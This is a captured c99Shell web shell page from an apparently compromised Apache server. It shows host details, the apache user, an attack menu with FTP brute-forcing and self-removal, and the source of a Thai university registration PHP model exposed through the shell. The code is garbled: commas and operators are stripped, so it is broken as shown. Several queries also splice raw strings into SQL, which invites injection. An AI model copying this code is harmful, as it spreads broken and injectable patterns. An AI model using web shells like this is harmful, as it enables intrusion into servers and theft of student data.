!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/models/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mo_rg_registdetails.php (43.15 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("da_rg_RegistDetails.php");

class 
Mo_rg_RegistDetails extends Da_rg_RegistDetails {

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่ลงทะเบียนเรียนจริงตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_RegistDetails.*
     * @todo    use
     */
    
public function qryRd($condition=""$order=""$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT * 
                FROM $this->rg_dbname.rg_RegistDetails 
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชา และเกรดที่นักศึกษาแต่ละคนลงทะเบียนเรียน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_RegistDetails.*, rg_Student.*, rg_Prefix.*, rg_GradeTp.*, rg_Grade.*
     * @todo    not use
     */
    /*public function qryGrdOfStdByCoId($condition,$order,$group) {
        $where = $this->checkCondition($condition);
        $order = $this->checkOrderBy($order);
        $group = $this->checkGroupBy($group);
        
        $c1= substr($where, 0, -3);
        $c2= substr($order, 0, -1);
        $c3= substr($group, 0, -1);

        $sql = "SELECT *
                FROM $this->rg_dbname.rg_RegistDetails
                LEFT JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                LEFT JOIN $this->ppc_dbname.Prefix ON stdPfId=prefixId
                LEFT JOIN $this->rg_dbname.rg_GradeTp ON stdGtpId=gtpId
                LEFT JOIN $this->rg_dbname.rg_Grade ON gtpId=grdGtpId
                $c1
                $c2
                $c3";
        $query = $this->db->query($sql);
        return $query;
    }*/

    /**
     * หน้าที่ของฟังก์ชั่น คือ 
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_RegistDetails.*, rg_Student.*, rg_Prefix.*, rg_GradeTp.*, rg_Grade.*
     * @todo    use
     */
    
public function qrySstOfStd($condition='',$order='',$group='') {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_RegistDetails
                LEFT JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                LEFT JOIN $this->ppc_dbname.Prefix ON stdPfId=prefixId
                LEFT JOIN $this->rg_dbname.rg_StudentStatus ON stdSstId=sstId
                $c1
                $c2
                $c3"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
// use 
    
public function qryRdJnCrsOpCrs($condition='',$order='',$group='') {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);
        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_RegistDetails
                    LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId
                    LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                    $c1
                    $c3
                    $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    
//Use 
    
public function qryRdJnCrsOpCrsCountRow($condition='',$order='',$group='') {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);
        
$sql "SELECT b.*, COUNT( * )  AS total 
                    FROM (
                        SELECT *
                        FROM $this->rg_dbname.rg_RegistDetails
                        LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId
                        LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                        $c1
                        $c3
                        $c2
                    )
                    AS b
                    GROUP BY coCrsId
                    ORDER BY coSyId,coTmId"
;
                    
//echo $sql;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    
//Use 
    
public function qryRdJnCrsOpCrsCountRowInSomeCon($condition='',$order='',$group='',$in="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
$cond = ($in == "" '' 'AND coCrsId IN ('.$in.')');
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);
        
$sql "SELECT b.coCrsId,b.crsCode,b.crsName,b.crsCreditTotal, COUNT( * )  AS total 
                    FROM (
                        SELECT *
                        FROM $this->rg_dbname.rg_RegistDetails
                        LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId
                        LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                        $c1
                        $cond
                        $c3
                        $c2
                    )
                    AS b
                    GROUP BY coCrsId"
;
                    
//echo $sql;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    
// @use
    
public function qryRdCoIdJoinCoCrs($condition='',$order='') {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$sql "SELECT rdCoId
                    FROM $this->rg_dbname.rg_RegistDetails
                    LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId
                    LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                    $c1
                    $c2
                    GROUP BY rdCoId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
// @use
    
public function qryRdJoinCoCrsCof($condition='',$order='') {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$sql "SELECT rdCoId
                    FROM $this->rg_dbname.rg_RegistDetails
                    LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId=coId
                    LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                    LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                    $c1
                    $c2
                    GROUP BY rdCoId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาคนลงทะเบียนเรียนในรายวิชานี้
     *
     * @access    public
     * @param    rdCoId
     * @return    query >= 1 rows () : rg_RegistDetails.*
     * @todo    use
     */
    
public function RSEnrollItemByClIdAndStudying($coId) {
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_RegistDetails
                LEFT JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                LEFT JOIN $this->ppc_dbname.Prefix ON stdPfId=prefixId
                WHERE rdCoId = ? AND stdSstIdTmp = 1
                ORDER BY stdCode"
;
        
$query $this->db->query($sql,array($coId));
        return 
$query;
    }


    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาคนลงทะเบียนเรียนในรายวิชานี้
     *
     * @access    public
     * @param    rdCoId
     * @return    query >= 1 rows () : rg_RegistDetails.*
     * @todo    use
     */
    
public function getRegistDetailsByStdIdAcYTmId($stdId$acY$tmId) {
        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_RegistDetails
                    LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId
                    LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND rdTmId = ?"
;
        
$query $this->db->query($sql, array($stdId$acY$tmId));
        return 
$query;
    }
    
    
/**
     * หน้าที่ของฟังก์ชั่น คือ รายวิชานี้มีใครลงทะเบียนเรียน และแต่ละคนได้เกรดเท่าไหร่
     *
     * @access    public
     * @param    int the course open id
     * @param    int the acadyear
     * @param    int the term
     * @param    int the course section
     * @return 
    */
    
public function qryStdRegist($coId$crsSectionClass$acY$tmId) {
        
$sql "SELECT rg_RegistDetails.*, rg_Student.stdId, rg_Student.stdName, rg_Student.stdSurname, rg_Student.stdPfId, Prefix.prefixId, Prefix.prefixName
                    FROM $this->rg_dbname.rg_RegistDetails
                    INNER JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                    INNER JOIN $this->ppc_dbname.Prefix ON stdPfId=prefixId
                    WHERE rdCoId=?
                    AND rdSection=?
                    AND rdAcY=?
                    AND rdTmId=?"
;
        
$query $this->db->query($sql,array($coId$crsSectionClass$acY$tmId));
        return 
$query;
    }

    public function 
qryRdByClIdStrAcYTmId($clIdStr$acY$tmId) {
        
$sql "SELECT * 
                        FROM (
                            SELECT ei.*, m.stdCode 
                                FROM $this->rg_dbname.rg_RegistDetails ei, $this->rg_dbname.rg_Student m 
                                WHERE rdCoId IN ($clIdStr) 
                                AND rdAcY = ? 
                                AND rdTmId = ? 
                                AND rdStdId = stdId 
                                AND stdSstId = 1 
                            UNION 
                            SELECT ei.*, m.stdCode 
                                FROM $this->rg_dbname.rg_RegistDetails ei, $this->rg_dbname.rg_StudentSummary s, $this->rg_dbname.rg_Student m 
                                WHERE rdCoId IN ($clIdStr) 
                                AND rdAcY = ? 
                                AND rdTmId = ? 
                                AND rdStdId = ssmStdId 
                                AND ssmAcY = ? 
                                AND ssmTmId = ? 
                                AND ssmSstId = 1 
                                AND rdStdId = stdId
                        ) AS tt ORDER BY stdCode"
;
        
$query $this->db->query($sql,array($acY$tmId$acY$tmId$acY$tmId));
        return 
$query;
    }

    public function 
qryRdJoinSsm($condition,$order,$group) {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_RegistDetails 
                LEFT JOIN $this->rg_dbname.rg_StudentSummary ON rdStdId = ssmStdId AND rdAcY = ssmAcY AND rdTmId = ssmTmId 
                $c1
                $c2
                $c3"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
getSumCr1($condition="") {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT IFNULL(SUM(rdCredit1), 0) AS num 
                FROM $this->rg_dbname.rg_RegistDetails 
                $c1"
;
        
$query $this->db->query($sql);
        if (
$query->num_rows()) {
            return 
$query->row()->num;
        }else{
            return 
0;
        }
    }

    public function 
getSumCr2($condition="") {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT IFNULL(SUM(rdCredit2), 0) as num 
                FROM $this->rg_dbname.rg_RegistDetails 
                $c1"
;
        
$query $this->db->query($sql);
        if (
$query->num_rows()) {
            return 
$query->row()->num;
        }else{
            return 
0;
        }
    }

    public function 
getCreditAttempt($condition="") {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) as num 
                FROM $this->rg_dbname.rg_RegistDetails 
                $c1"
;
        
$query $this->db->query($sql);
        if (
$query->num_rows()) {
            return 
$query->row()->num;
        }else{
            return 
0;
        }
    }

    
// use
    
function RSRegistDetailsByStIdAndAcYAndSeAndCoId($stId$acY$se$coId){
        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_RegistDetails
                    LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND rdTmId = ?
                    AND coCrsId =?
                    AND coDeclareStatus = 'Y'"
;
        
$query $this->db->query($sql, array($stId$acY$se$coId));
        return 
$query;
    }

    
// use
    
function qryRdByStIdAndStY$stId$stY ) {
        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_Regist
                    INNER JOIN $this->rg_dbname.rg_RegistDetails ON rgStdId = rdStdId AND rdAcY = rgAcY AND rdTmId = rgTmId AND rdSeq = rgSeq
                    LEFT JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId
                    LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                    WHERE rgStdId = ?
                    AND rgSyId = ?
                    ORDER BY rgTmId"
;
        
$query $this->db->query($sql, array($stId$stY));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่ส่งเกรดแล้ว
     *
     * @access    public
     * @param    
     * @return 
    */
    
public function qryRdByCurIdAdYSyIdAcYTmId($curId$adY$syId$acY$tmId) {
        
$sql "SELECT * 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_Student ON rdStdId = stdId 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    WHERE stdCurId = ? 
                    AND stdAdY = ? 
                    AND stdSyId = ? 
                    AND rdAcY = ? 
                    AND rdTmId = ? 
                    AND rdGrade <> '' 
                    AND coSendGradeStatus = 'Y'"
;
        
$query $this->db->query($sql, array($curId$adY$syId$acY$tmId));
        return 
$query;
    }

    function 
getSumCrAt($condition="") {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS num 
                FROM $this->rg_dbname.rg_RegistDetails 
                $c1"
;
        
$query $this->db->query($sql);
        return 
$query->row()->num;
    }

    public function 
getSumCrAtByStdIdAcYTmId($stdId$acY$tmId) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS num 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND rdTmId = ?"
;
        
$query $this->db->query($sql, array($stdId$acY$tmId));
        return 
$query->row()->num;
    }

    function 
getAllFDivisorGPA($stdId$acY$tmId) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS divisor 
                    FROM $this->rg_dbname.rg_Student 
                    INNER JOIN $this->rg_dbname.rg_Curriculum ON stdCurId = curId 
                    INNER JOIN $this->rg_dbname.rg_RegistDetails ON stdId = rdStdId 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Grade ON curGtpId = grdGtpId AND rdGrade = grdGrade 
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND rdTmId = ? 
                    AND coDeclareStatus = 'Y' 
                    AND grdCalGrade = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY$tmId));
        return 
$query->row()->divisor;
    }

    
// use
    
public function getAllFDivisorGPAX($stdId$acY$tmId) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS divisor 
                    FROM $this->rg_dbname.rg_Student 
                    INNER JOIN $this->rg_dbname.rg_RegistDetails ON stdId = rdStdId 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Curriculum ON stdCurId = curId
                    INNER JOIN $this->rg_dbname.rg_Grade ON curGtpId = grdGtpId AND rdGrade = grdGrade
                    WHERE rdStdId = ? 
                    AND CONCAT(rdAcY, rdTmId) <= ? 
                    AND coDeclareStatus = 'Y' 
                    AND grdCalGrade = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY.$tmId));
        
        if (
$query->num_rows()) {
            return 
$query->row()->divisor;
        } else {
            return 
0;
        }
    }

    
// use
    
public function GetAllFDivisorAYRGPAX($stdId$acY) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS divisor 
                    FROM $this->rg_dbname.rg_Student 
                    INNER JOIN $this->rg_dbname.rg_RegistDetails ON stdId = rdStdId 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Curriculum ON stdCurId = curId
                    INNER JOIN $this->rg_dbname.rg_Grade ON curGtpId = grdGtpId AND rdGrade = grdGrade
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND coDeclareStatus = 'Y' 
                    AND grdCalGrade = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY));
    
        if (
$query->num_rows()) {
            return 
$query->row()->divisor;
        } else {
            return 
0;
        }
    }

    
// use
    
public function getDividendAYRGPAByStIdAndStY($stdId$acY) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt * grdPoint), 0) AS divisor 
                    FROM $this->rg_dbname.rg_Regist 
                    INNER JOIN $this->rg_dbname.rg_RegistDetails ON rgStdId = rdStdId AND rgAcY = rdAcY AND rgTmId = rdTmId AND rgSeq = rdSeq
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Grade ON rdGrade = grdGrade 
                    WHERE rgStdId = ? 
                    AND rgSyId = ? 
                    AND coDeclareStatus = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY));

        if (
$query->num_rows()) {
            return 
$query->row()->divisor;
        } else {
            return 
0;
        }
    }

    
// use
    
public function getAllFDivisorAYRGPAXByStIdAndStY($stdId$acY) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS divisor 
                    FROM $this->rg_dbname.rg_Regist 
                    INNER JOIN $this->rg_dbname.rg_RegistDetails ON rgStdId = rdStdId AND rgAcY = rdAcY AND rgTmId = rdTmId AND rgSeq = rdSeq
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Grade ON rdGrade = grdGrade 
                    WHERE rgStdId = ? 
                    AND rgSyId = ? 
                    AND coDeclareStatus = 'Y' 
                    AND grdCalGrade = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY));

        if (
$query->num_rows()) {
            return 
$query->row()->divisor;
        } else {
            return 
0;
        }
    }

    function 
getOneFDivisorGPAX($stdId$acY$tmId) {
        
$sql "SELECT IFNULL(SUM(tt), 0) AS divisor 
                        FROM (
                            SELECT IFNULL(SUM(rdCreditAttempt), 0) AS tt
                                FROM $this->rg_dbname.rg_RegistDetails, $this->rg_dbname.rg_CourseOpen, $this->rg_dbname.rg_Grade 
                                WHERE rdStdId = ? 
                                AND CONCAT(rdAcY, rdTmId) <= ? 
                                AND rdCoId = coId 
                                AND coDeclareStatus = 'Y' 
                                AND rdGrade = grdGrade 
                                AND grdPoint <> 0 
                                AND coCrsId NOT IN (
                                    SELECT coCrsId FROM $this->rg_dbname.rg_RegistDetails, rg_CourseOpen 
                                        WHERE rdStdId = ? 
                                        AND CONCAT(rdAcY, rdTmId) <= ? 
                                        AND rdCoId = coId 
                                        GROUP BY rdStdId, coCrsId 
                                        HAVING COUNT(coCrsId) > 1
                                )
                            UNION 
                            SELECT IFNULL(SUM(rdCreditAttempt), 0) AS tt
                                FROM $this->rg_dbname.rg_RegistDetails, $this->rg_dbname.rg_CourseOpen, $this->rg_dbname.rg_Grade 
                                WHERE rdStdId = ? 
                                AND CONCAT(rdAcY, rdTmId) <= ? 
                                AND rdCoId = coId 
                                AND coDeclareStatus = 'Y' 
                                AND rdGrade <> 'F' 
                                AND rdGrade = grdGrade 
                                AND coCrsId IN (
                                    SELECT coCrsId 
                                        FROM $this->rg_dbname.rg_RegistDetails, $this->rg_dbname.rg_CourseOpen 
                                        WHERE rdStdId = ? 
                                        AND CONCAT(rdAcY, rdTmId) <= ? 
                                        AND rdCoId = coId 
                                        GROUP BY rdStdId, coCrsId 
                                        HAVING COUNT(coCrsId) > 1
                                )
                        ) aa"
;
        
$query $this->db->query($sql, array($stdId$acY.$tmId$stdId$acY.$tmId$stdId$acY.$tmId$stdId$acY.$tmId));
        return 
$query->row()->divisor;
    }

    public function 
qryRdSemGradeCr($stdId$acY$tmId$str) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS num 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND rdTmId = ? 
                    AND rdNoCalGPA = 'N' 
                    AND rdGrade IN ($str) 
                    AND coDeclareStatus = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY$tmId));
        return 
$query->row()->num;
    }

    public function 
qryRdCumGradeCr($stdId$acY$tmId$str) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS num 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    WHERE rdStdId = ? 
                    AND ? >= CONCAT(rdAcY, rdTmId) 
                    AND rdNoCalGPA = 'N' 
                    AND rdGrade IN ($str)"
;
        
$query $this->db->query($sql, array($stdId$acY.$tmId));
        return 
$query->row()->num;
    }

    public function 
qryRdCumGradeCr2($stdId$acY$tmId$str) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS num 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    WHERE rdStdId = ? 
                    AND ? >= CONCAT(rdAcY, rdTmId) 
                    AND rdNoCalGPA = 'N' 
                    AND rdGrade IN ($str) 
                    AND coDeclareStatus = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY.$tmId));
        return 
$query->row()->num;
    }

    public function 
calCreditSatisfy($stdId$acY$tmId) {
        
$ci =& get_instance();
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_grade','grd');

        
$con_qu_std = array('stdId'    => $stdId);
        
$qu_std $ci->std->qryStdJoinCur($con_qu_std);

        
$con_rs_grd = array('grdGtpId'    => $qu_std->row()->curGtpId);

        
$i 0;
        
$strGnfy "";
        
$rs_grd $ci->grd->qryGrd($con_rs_grd);
        foreach (
$rs_grd->result() as $row_grd) {
            if ((
$row_grd->grdGrade != 'F') && ($row_grd->grdCalCredit == 'Y')) {
                if (
$i == 0)
                    
$strGnfy "'".$row_grd->grdGrade."'";
                else
                    
$strGnfy .= ",'".$row_grd->grdGrade."'";
            }
            
            
$i++;
        }

        
$sumCreditSatisfy $this->qryRdSemGradeCr($stdId$acY$tmId$strGnfy);

        return 
$sumCreditSatisfy;
    }

    public function 
calCumCreditAttempt($stdId$acY$tmId) {
        
$ci =& get_instance();
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_grade','grd');

        
$con_qu_std = array('stdId'    => $stdId);
        
$qu_std $ci->std->qryStdJoinCur($con_qu_std);

        
$con_rs_grd = array('grdGtpId'    => $qu_std->row()->curGtpId);
        
        
$i 0;
        
$strGrd "";
        
$rs_grd $ci->grd->qryGrd($con_rs_grd);
        foreach (
$rs_grd->result() as $row_grd) {
            if (
$i == 0)
                
$strGrd "'".$row_grd->grdGrade."',".$strGrd;
            else
                
$strGrd "'".$row_grd->grdGrade."',".$strGrd;
        
            
$i++;
        }
        
$strGrd .= "''";
        
        
$cumCreditAttmp $this->qryRdCumGradeCr($stdId$acY$tmId$strGrd);

        return 
$cumCreditAttmp;
    }

    public function 
calCumCreditSatisfy($stdId$acY$tmId) {
        
$ci =& get_instance();
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_grade','grd');

        
$con_qu_std = array('stdId'    => $stdId);
        
$qu_std $ci->std->qryStdJoinCur($con_qu_std);

        
$con_rs_grd = array('grdGtpId'    => $qu_std->row()->curGtpId);

        
$i 0;
        
$strGnfy "";
        
$rs_grd $ci->grd->qryGrd($con_rs_grd);
        foreach (
$rs_grd->result() as $row_grd) {
            if ((
$row_grd->grdGrade != 'F') && ($row_grd->grdCalCredit == 'Y')) {
                if (
$i == 0)
                    
$strGnfy "'".$row_grd->grdGrade."'";
                else
                    
$strGnfy .= ",'".$row_grd->grdGrade."'";
            }
            
            
$i++;
        }

        
$cumCreditSatisfy $this->qryRdCumGradeCr2($stdId$acY$tmId$strGnfy);

        return 
$cumCreditSatisfy;
    }

    public function 
getDividendGPA($stdId$acY$tmId) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt * grdPoint), 0) AS dividend 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Grade ON rdGrade = grdGrade 
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND rdTmId = ? 
                    AND coDeclareStatus = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY$tmId));
        return 
$query->row()->dividend;
    }

    
//use
    
public function getDividendGPAX($stdId$acY$tmId) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt * grdPoint), 0) AS dividend 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Grade ON rdGrade = grdGrade 
                    WHERE rdStdId = ? 
                    AND CONCAT(rdAcY, rdTmId) <= ? 
                    AND coDeclareStatus = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY.$tmId));
            
        if (
$query->num_rows()) {
            return 
$query->row()->dividend;    
        } else {
            return 
0;
        }
    }

    
//use
    
public function GetDividendAYRGPA($stdId$acY) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt * grdPoint), 0) AS dividend 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                    INNER JOIN $this->rg_dbname.rg_Grade ON rdGrade = grdGrade 
                    WHERE rdStdId = ? 
                    AND rdAcY = ? 
                    AND coDeclareStatus = 'Y'"
;
        
$query $this->db->query($sql, array($stdId$acY));
        
        if (
$query->num_rows()) {
            return 
$query->row()->dividend;
        } else {
            return 
0;
        }
    }


    
/**
     * หน้าที่ของฟังก์ชั่น คือ ค้นหาจำนวนคนที่ลงทะเบียนเรียนในรายวิชานี้ตามเกรดเฉลี่ย
     *
     * @access    public
     * @param    rdCoId
     * @return    query >= 1 rows () : rg_RegistDetails.*
     * @todo    use
     */
    
public function countStIdByGrade($coId$acY$tmId$grade) {
        
$sql "SELECT count(rdStdId) as num
                FROM $this->rg_dbname.rg_RegistDetails
                WHERE rdCoId = ? AND rdAcY = ? AND rdTmId = ? AND rdGrade = ?"
;
        
$query $this->db->query($sql,array($coId$acY$tmId$grade));
        if (
$query->num_rows() > 0) {
            
$row $query->row();
            return 
$row->num;
        } else {
            return 
0;
        }
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาผลรวมของหน่วยกิต
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    numCredit คือ ค่าผลรวมของหน่วยกิต
     * @todo    use
     */
    
public function getSumCreditAttempt($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT IFNULL(sum(rdCreditAttempt), 0) AS numCredit
            FROM $this->rg_dbname.rg_CourseOpen
            INNER JOIN $this->rg_dbname.rg_RegistDetails ON coId = rdCoId
            INNER JOIN $this->rg_dbname.rg_Student ON rdStdId = stdId
            $c1
            $c3
            $c2"
;
        
$query $this->db->query($sql);
        if(
$query->num_rows()) {
            
$num $query->row();
            return (
$num->numCredit==NULL) ? $num->numCredit;
        } else {
            return 
0;
        }
    }

    
/**
